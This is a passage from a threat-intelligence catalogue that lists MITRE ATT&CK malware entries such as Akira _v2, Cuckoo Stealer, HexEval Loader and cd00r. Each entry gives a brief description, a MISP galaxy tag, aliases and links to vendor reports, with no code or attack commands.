[Akira _v2](https://attack.mitre.org/software/S1194) is a Rust-based variant of [Akira](https://attack.mitre.org/software/S1129) ransomware that has been in use since at least 2024. [Akira _v2](https://attack.mitre.org/software/S1194) is designed to target VMware ESXi servers and includes a new command-line argument set and other expanded capabilities.(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)(Citation: Palo Alto Howling Scorpius DEC 2024)

The tag is: *misp-galaxy:mitre-malware="Akira _v2 - S1194"*

Akira _v2 - S1194 is also known as:

- Akira _v2

Table 10962. Table References

Links
https://attack.mitre.org/software/S1194
https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/
https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf

Binary Validator - S1215

[Binary Validator](https://attack.mitre.org/software/S1215) is a Mach-O binary file used during [Operation Triangulation](https://attack.mitre.org/campaigns/C0054).(Citation: SecureList OpTriangulation 23Oct2023) [Binary Validator](https://attack.mitre.org/software/S1215) first collects information about the device, such as the device's phone number and a list of installed applications, before the deployment of the [TriangleDB](https://attack.mitre.org/software/S1216) implant. After the actions are completed and the data is collected, [Binary Validator](https://attack.mitre.org/software/S1215) encrypts and sends the data to the C2 server, and in turn, the C2 server sends the [TriangleDB](https://attack.mitre.org/software/S1216) implant.

The tag is: *misp-galaxy:mitre-malware="Binary Validator - S1215"*

Binary Validator - S1215 is also known as:

- Binary Validator

Table 10963. Table References

Links
https://attack.mitre.org/software/S1215
https://securelist.com/triangulation-validators-modules/110847/

Cuckoo Stealer - S1153

[Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)

The tag is: *misp-galaxy:mitre-malware="Cuckoo Stealer - S1153"*

Cuckoo Stealer - S1153 is also known as:

- Cuckoo Stealer

Table 10964. Table References

Links
https://attack.mitre.org/software/S1153
https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware
https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/

MultiLayer Wiper - S1135

[MultiLayer Wiper](https://attack.mitre.org/software/S1135) is wiper malware written in .NET associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. Observed samples of [MultiLayer Wiper](https://attack.mitre.org/software/S1135) have an anomalous, future compilation date suggesting possible metadata manipulation.(Citation: Unit42 Agrius 2023)

The tag is: *misp-galaxy:mitre-malware="MultiLayer Wiper - S1135"*

MultiLayer Wiper - S1135 is also known as:

- MultiLayer Wiper

Table 10965. Table References

Links
https://attack.mitre.org/software/S1135
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/

BFG Agonizer - S1136

[BFG Agonizer](https://attack.mitre.org/software/S1136) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://attack.mitre.org/groups/G1030) threat actor.(Citation: Unit42 Agrius 2023)

The tag is: *misp-galaxy:mitre-malware="BFG Agonizer - S1136"*

BFG Agonizer - S1136 is also known as:

- BFG Agonizer

Table 10966. Table References

Links
https://attack.mitre.org/software/S1136
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/

INC Ransomware - S1139

[INC Ransomware](https://attack.mitre.org/software/S1139) is a ransomware strain that has been used by the [INC Ransom](https://attack.mitre.org/groups/G1032) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://attack.mitre.org/software/S1139) can employ partial encryption combined with multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)

The tag is: *misp-galaxy:mitre-malware="INC Ransomware - S1139"*

INC Ransomware - S1139 is also known as:

- INC Ransomware

Table 10967. Table References

Links
https://attack.mitre.org/software/S1139
https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity
https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware
https://www.sentinelone.com/anthology/inc-ransom/

Raccoon Stealer - S1148

[Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)

The tag is: *misp-galaxy:mitre-malware="Raccoon Stealer - S1148"*

Raccoon Stealer - S1148 is also known as:

- Raccoon Stealer

Table 10968. Table References

Links
https://attack.mitre.org/software/S1148
https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/
https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d

Line Dancer - S1186

[Line Dancer](https://attack.mitre.org/software/S1186) is a memory-only Lua-based shellcode loader associated with the [ArcaneDoor](https://attack.mitre.org/campaigns/C0046) campaign. [Line Dancer](https://attack.mitre.org/software/S1186) allows an adversary to upload and execute arbitrary shellcode on victim devices.(Citation: Cisco ArcaneDoor 2024)(Citation: CCCS ArcaneDoor 2024)

The tag is: *misp-galaxy:mitre-malware="Line Dancer - S1186"*

Line Dancer - S1186 is also known as:

- Line Dancer

Table 10969. Table References

Links
https://attack.mitre.org/software/S1186
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/
https://www.cyber.gc.ca/en/news-events/cyber-activity-impacting-cisco-asa-vpns

Troll Stealer - S1196

[Troll Stealer](https://attack.mitre.org/software/S1196) is an information stealer written in Go associated with [Kimsuky](https://attack.mitre.org/groups/G0094) operations. [Troll Stealer](https://attack.mitre.org/software/S1196) has typically been delivered through a dropper disguised as a legitimate security program installation file. [Troll Stealer](https://attack.mitre.org/software/S1196) features code similar to [AppleSeed](https://attack.mitre.org/software/S0622), also uniquely associated with [Kimsuky](https://attack.mitre.org/groups/G0094) operations.(Citation: S2W Troll Stealer 2024)(Citation: Symantec Troll Stealer 2024)

The tag is: *misp-galaxy:mitre-malware="Troll Stealer - S1196"*

Troll Stealer - S1196 is also known as:

- Troll Stealer

Table 10970. Table References

Links

https://attack.mitre.org/software/S1196
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2
https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage

Line Runner - S1188

[Line Runner](https://attack.mitre.org/software/S1188) is a persistent backdoor and web shell allowing threat actors to upload and execute arbitrary Lua scripts. [Line Runner](https://attack.mitre.org/software/S1188) is associated with the [ArcaneDoor](https://attack.mitre.org/campaigns/C0046) campaign.(Citation: CCCS ArcaneDoor 2024)(Citation: Cisco ArcaneDoor 2024)

The tag is: *misp-galaxy:mitre-malware="Line Runner - S1188"*

Line Runner - S1188 is also known as:

- Line Runner

Table 10971. Table References

Links
https://attack.mitre.org/software/S1188
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/
https://www.cyber.gc.ca/en/news-events/cyber-activity-impacting-cisco-asa-vpns

Medusa Ransomware - S1244

[Medusa Ransomware](https://attack.mitre.org/software/S1244) has been utilized in attacks since at least 2021. [Medusa Ransomware](https://attack.mitre.org/software/S1244) has been known to be utilized in conjunction with living off the land techniques and remote management software. [Medusa Ransomware](https://attack.mitre.org/software/S1244) has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. [Medusa Ransomware](https://attack.mitre.org/software/S1244) software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). [Medusa Ransomware](https://attack.mitre.org/software/S1244) has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed [Medusa Ransomware](https://attack.mitre.org/software/S1244) is used in an opportunistic manner.(Citation: CISA Medusa Group Medusa Ransomware March 2025)(Citation: Security Scorecard Medusa Ransomware January 2024)(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)(Citation: Broadcom Medusa Ransomware Medusa Group March 2025)

The tag is: *misp-galaxy:mitre-malware="Medusa Ransomware - S1244"*

Medusa Ransomware - S1244 is also known as:

- Medusa Ransomware

Table 10972. Table References

Links
https://attack.mitre.org/software/S1244
https://securityscorecard.com/wp-content/uploads/2024/01/deep-dive-into-medusa-ransomware.pdf
https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a
https://www.security.com/threat-intelligence/medusa-ransomware-attacks

XORIndex Loader - S1248

[XORIndex Loader](https://attack.mitre.org/software/S1248) is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the [BeaverTail](https://attack.mitre.org/software/S1246) malware. [XORIndex Loader](https://attack.mitre.org/software/S1248) was first reported in June 2025. [XORIndex Loader](https://attack.mitre.org/software/S1248) has been leveraged by North Korea-affiliated threat actors identified as [Contagious Interview](https://attack.mitre.org/groups/G1052). [XORIndex Loader](https://attack.mitre.org/software/S1248) has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)

The tag is: *misp-galaxy:mitre-malware="XORIndex Loader - S1248"*

XORIndex Loader - S1248 is also known as:

- XORIndex Loader

Table 10973. Table References

Links
https://attack.mitre.org/software/S1248
https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages

HexEval Loader - S1249

[HexEval Loader](https://attack.mitre.org/software/S1249) is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the [BeaverTail](https://attack.mitre.org/software/S1246) malware. [HexEval Loader](https://attack.mitre.org/software/S1249) was first reported in April 2025. [HexEval Loader](https://attack.mitre.org/software/S1249) has previously been leveraged by North Korea-affiliated threat actors identified as [Contagious Interview](https://attack.mitre.org/groups/G1052). [HexEval Loader](https://attack.mitre.org/software/S1249) has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm

packages.(Citation: Socket Contagious Interview NPM April 2025)(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)(Citation: Socket HexEval BeaverTail Contagious Interview June 2025)

The tag is: *misp-galaxy:mitre-malware="HexEval Loader - S1249"*

HexEval Loader - S1249 is also known as:

- HexEval Loader

Table 10974. Table References

Links
https://attack.mitre.org/software/S1249
https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages
https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket
https://socket.dev/blog/north-korean-contagious-interview-campaign-drops-35-new-malicious-npm-packages

Trojan-SMS.AndroidOS.FakeInst.a - S0306

[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.FakeInst.a - S0306"*

Table 10975. Table References

Links
https://attack.mitre.org/software/S0306
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.Agent.ao - S0307

[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.Agent.ao - S0307"*

Table 10976. Table References

Links
https://attack.mitre.org/software/S0307
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.OpFake.a - S0308

[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.OpFake.a - S0308"*

Table 10977. Table References

Links
https://attack.mitre.org/software/S0308
https://securelist.com/mobile-malware-evolution-2013/58335/

Mis-Type - S0084

[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) by 2012.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="Mis-Type - S0084"*

Mis-Type - S0084 is also known as:

- Mis-Type

Table 10978. Table References

Links
https://attack.mitre.org/software/S0084
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

S-Type - S0085

[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2013.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="S-Type - S0085"*

S-Type - S0085 is also known as:

- S-Type

Table 10979. Table References

Links
https://attack.mitre.org/software/S0085

https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Hi-Zor - S0087

[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)

The tag is: *misp-galaxy:mitre-malware="Hi-Zor - S0087"*

Hi-Zor - S0087 is also known as:

- Hi-Zor

View relationships graph

Hi-Zor - S0087 has relationships with:

- similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"

Table 10980. Table References

Links
https://attack.mitre.org/software/S0087
https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/

J-magic - S1203

[J-magic](https://attack.mitre.org/software/S1203) is a custom variant of the [cd00r](https://attack.mitre.org/software/S1204) backdoor tailored to target Juniper routers that was first observed during the [J-magic Campaign](https://attack.mitre.org/campaigns/C0050) in mid-2023. [J-magic](https://attack.mitre.org/software/S1203) monitors TCP traffic for five predefined parameters or "magic packets" to be sent by the attackers before activating on compromised devices.(Citation: Lumen J-Magic JAN 2025)

The tag is: *misp-galaxy:mitre-malware="J-magic - S1203"*

J-magic - S1203 is also known as:

- J-magic

Table 10981. Table References

Links
https://attack.mitre.org/software/S1203
https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/

Miner-C - S0133

[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)

The tag is: *misp-galaxy:mitre-malware="Miner-C - S0133"*

Miner-C - S0133 is also known as:

- Miner-C

Table 10982. Table References

Links
https://attack.mitre.org/software/S0133
https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml

Seth-Locker - S0639

[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)

The tag is: *misp-galaxy:mitre-malware="Seth-Locker - S0639"*

Seth-Locker - S0639 is also known as:

- Seth-Locker

Table 10983. Table References

Links
https://attack.mitre.org/software/S0639
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

Aria-body - S0456

[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)

The tag is: *misp-galaxy:mitre-malware="Aria-body - S0456"*

Aria-body - S0456 is also known as:

- Aria-body

Table 10984. Table References

Links
https://attack.mitre.org/software/S0456
https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/

Neo-reGeorg - S1189

[Neo-reGeorg](https://attack.mitre.org/software/S1189) is an open-source web shell designed as a restructuring of [reGeorg](https://attack.mitre.org/software/S1187) with improved usability, security, and fixes for exising [reGeorg](https://attack.mitre.org/software/S1187) bugs.(Citation: GitHub Neo-reGeorg 2019)

The tag is: *misp-galaxy:mitre-malware="Neo-reGeorg - S1189"*

Neo-reGeorg - S1189 is also known as:

- Neo-reGeorg

Table 10985. Table References

Links
https://attack.mitre.org/software/S1189
https://github.com/L-codes/Neo-reGeorg/blob/master/README-en.md

S.O.V.A. - S1062

[S.O.V.A.](https://attack.mitre.org/software/S1062) is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. [S.O.V.A.](https://attack.mitre.org/software/S1062), which is Russian for "owl", contains features not commonly found in Android malware, such as session cookie theft.(Citation: threatfabric_sova_0921)(Citation: cleafy_sova_1122)

The tag is: *misp-galaxy:mitre-malware="S.O.V.A. - S1062"*

S.O.V.A. - S1062 is also known as:

- S.O.V.A.

Table 10986. Table References

Links
https://attack.mitre.org/software/S1062
https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly
https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html

Android/Chuli.A - S0304

[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)

The tag is: *misp-galaxy:mitre-malware="Android/Chuli.A - S0304"*

Android/Chuli.A - S0304 is also known as:

- Android/Chuli.A

Table 10987. Table References

Links
https://attack.mitre.org/software/S0304
https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/

AndroidOS/MalLocker.B - S0524

[AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)

The tag is: *misp-galaxy:mitre-malware="AndroidOS/MalLocker.B - S0524"*

AndroidOS/MalLocker.B - S0524 is also known as:

- AndroidOS/MalLocker.B

Table 10988. Table References

Links
https://attack.mitre.org/software/S0524
https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/

Android/AdDisplay.Ashas - S0525

[Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)

The tag is: *misp-galaxy:mitre-malware="Android/AdDisplay.Ashas - S0525"*

Android/AdDisplay.Ashas - S0525 is also known as:

- Android/AdDisplay.Ashas

Table 10989. Table References

Links
https://attack.mitre.org/software/S0525
https://www.welivesecurity.com/2019/10/24/tracking-down-developer-android-adware/

Trojan.Mebromi - S0001

[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)

The tag is: *misp-galaxy:mitre-malware="Trojan.Mebromi - S0001"*

Trojan.Mebromi - S0001 is also known as:

- Trojan.Mebromi

Table 10990. Table References

Links
http://www.symantec.com/connect/blogs/bios-threat-showing-again
https://attack.mitre.org/software/S0001

ANDROIDOS_ANSERVER.A - S0310

[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)

The tag is: *misp-galaxy:mitre-malware="ANDROIDOS_ANSERVER.A - S0310"*

ANDROIDOS_ANSERVER.A - S0310 is also known as:

- ANDROIDOS_ANSERVER.A

Table 10991. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/
https://attack.mitre.org/software/S0310

Agent.btz - S0092

[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)

The tag is: *misp-galaxy:mitre-malware="Agent.btz - S0092"*

Agent.btz - S0092 is also known as:

- Agent.btz

Table 10992. Table References

Links
https://attack.mitre.org/software/S0092
https://securelist.com/agent-btz-a-source-of-inspiration/58551/

Backdoor.Oldrea - S0093

[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)

The tag is: *misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"*

Backdoor.Oldrea - S0093 is also known as:

- Backdoor.Oldrea
- Havex

View relationships graph

Backdoor.Oldrea - S0093 has relationships with:

- similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"

Table 10993. Table References

Links
https://attack.mitre.org/software/S0093
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers
https://vblocalhost.com/uploads/VB2021-Slowik.pdf

Trojan.Karagany - S0094

[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware

which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY)

The tag is: *misp-galaxy:mitre-malware="Trojan.Karagany - S0094"*

Trojan.Karagany - S0094 is also known as:

- Trojan.Karagany
- xFrost
- Karagany

Table 10994. Table References

Links
https://attack.mitre.org/software/S0094
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.dragos.com/threat/dymalloy/
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

macOS.OSAMiner - S1048

[macOS.OSAMiner](https://attack.mitre.org/software/S1048) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://attack.mitre.org/software/S1048) may have been circulating since at least 2015. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.(Citation: SentinelLabs reversing run-only applescripts 2021)(Citation: VMRay OSAMiner dynamic analysis 2021)

The tag is: *misp-galaxy:mitre-malware="macOS.OSAMiner - S1048"*

macOS.OSAMiner - S1048 is also known as:

- macOS.OSAMiner

Table 10995. Table References

Links
https://attack.mitre.org/software/S1048
https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/
https://www.vmray.com/cyber-security-blog/osaminer-uses-applescripts-evade-detection-malware-analysis-spotlight/

OSX_OCEANLOTUS.D - S0352

[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a macOS backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First discovered in 2015, [APT32](https://attack.mitre.org/groups/G0050) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also determine it's permission level and execute according to access type (`root` or `user`).(Citation: Unit42 OceanLotus 2017)(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)

The tag is: *misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352"*

OSX_OCEANLOTUS.D - S0352 is also known as:

- OSX_OCEANLOTUS.D
- Backdoor.MacOS.OCEANLOTUS.F

Table 10996. Table References

Links
https://attack.mitre.org/software/S0352
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/
https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/
https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html

LITTLELAMB.WOOLTEA - S1121

[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) is a backdoor that was used by UNC5325 during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.(Citation: Mandiant Cutting Edge Part 3 February 2024)

The tag is: *misp-galaxy:mitre-malware="LITTLELAMB.WOOLTEA - S1121"*

LITTLELAMB.WOOLTEA - S1121 is also known as:

- LITTLELAMB.WOOLTEA

Table 10997. Table References

Links
https://attack.mitre.org/software/S1121
https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence

OSX/Shlayer - S0402

[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)

The tag is: *misp-galaxy:mitre-malware="OSX/Shlayer - S0402"*

OSX/Shlayer - S0402 is also known as:

- OSX/Shlayer
- Zshlayer
- Crossrider

Table 10998. Table References

Links
https://attack.mitre.org/software/S0402
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/
https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html
https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/
https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/

Android/SpyAgent - S1214

[Android/SpyAgent](https://attack.mitre.org/software/S1214) is a variant of spyware in the MoqHao phishing campaign primarily targeting Korean and Japanese users.(Citation: McAfee MoqHao 2019) Fake security applications were used to target Japanese users, while fake police applications were used to target Korean users. Both fake applications have common C2 commands and share the same crash report key on a cloud service.(Citation: McAfee MoqHao 2019)

The tag is: *misp-galaxy:mitre-malware="Android/SpyAgent - S1214"*

Android/SpyAgent - S1214 is also known as:

- Android/SpyAgent

Table 10999. Table References

Links
https://attack.mitre.org/software/S1214

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/

T9000 - S0098

[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)

The tag is: *misp-galaxy:mitre-malware="T9000 - S0098"*

T9000 - S0098 is also known as:

- T9000

View relationships graph

T9000 - S0098 has relationships with:

- similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"

Table 11000. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/
https://attack.mitre.org/software/S0098
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html

BS2005 - S0014

[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)

The tag is: *misp-galaxy:mitre-malware="BS2005 - S0014"*

BS2005 - S0014 is also known as:

- BS2005

View relationships graph

BS2005 - S0014 has relationships with:

- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-

probability="likely"

Table 11001. Table References

Links
https://attack.mitre.org/software/S0014
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs

Sys10 - S0060

[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="Sys10 - S0060"*

Sys10 - S0060 is also known as:

- Sys10

View relationships graph

Sys10 - S0060 has relationships with:

- similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"

Table 11002. Table References

Links
https://attack.mitre.org/software/S0060
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

SampleCheck5000 - S1168

[SampleCheck5000](https://attack.mitre.org/software/S1168) is a downloader with multiple variants that was used by [OilRig](https://attack.mitre.org/groups/G0049) including during the [Outer Space](https://attack.mitre.org/campaigns/C0042) campaign to download and execute additional payloads. (Citation: ESET OilRig Campaigns Sep 2023)(Citation: ESET OilRig Downloaders DEC 2023)

The tag is: *misp-galaxy:mitre-malware="SampleCheck5000 - S1168"*

SampleCheck5000 - S1168 is also known as:

- SampleCheck5000
- SC5k

Table 11003. Table References

Links
https://attack.mitre.org/software/S1168
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

cd00r - S1204

[cd00r](https://attack.mitre.org/software/S1204) is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. [cd00r](https://attack.mitre.org/software/S1204) source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or "secret knock" before executing the attacker's code.(Citation: Hartrell cd00r 2002)(Citation: Lumen J-Magic JAN 2025)

The tag is: *misp-galaxy:mitre-malware="cd00r - S1204"*

cd00r - S1204 is also known as:

- cd00r

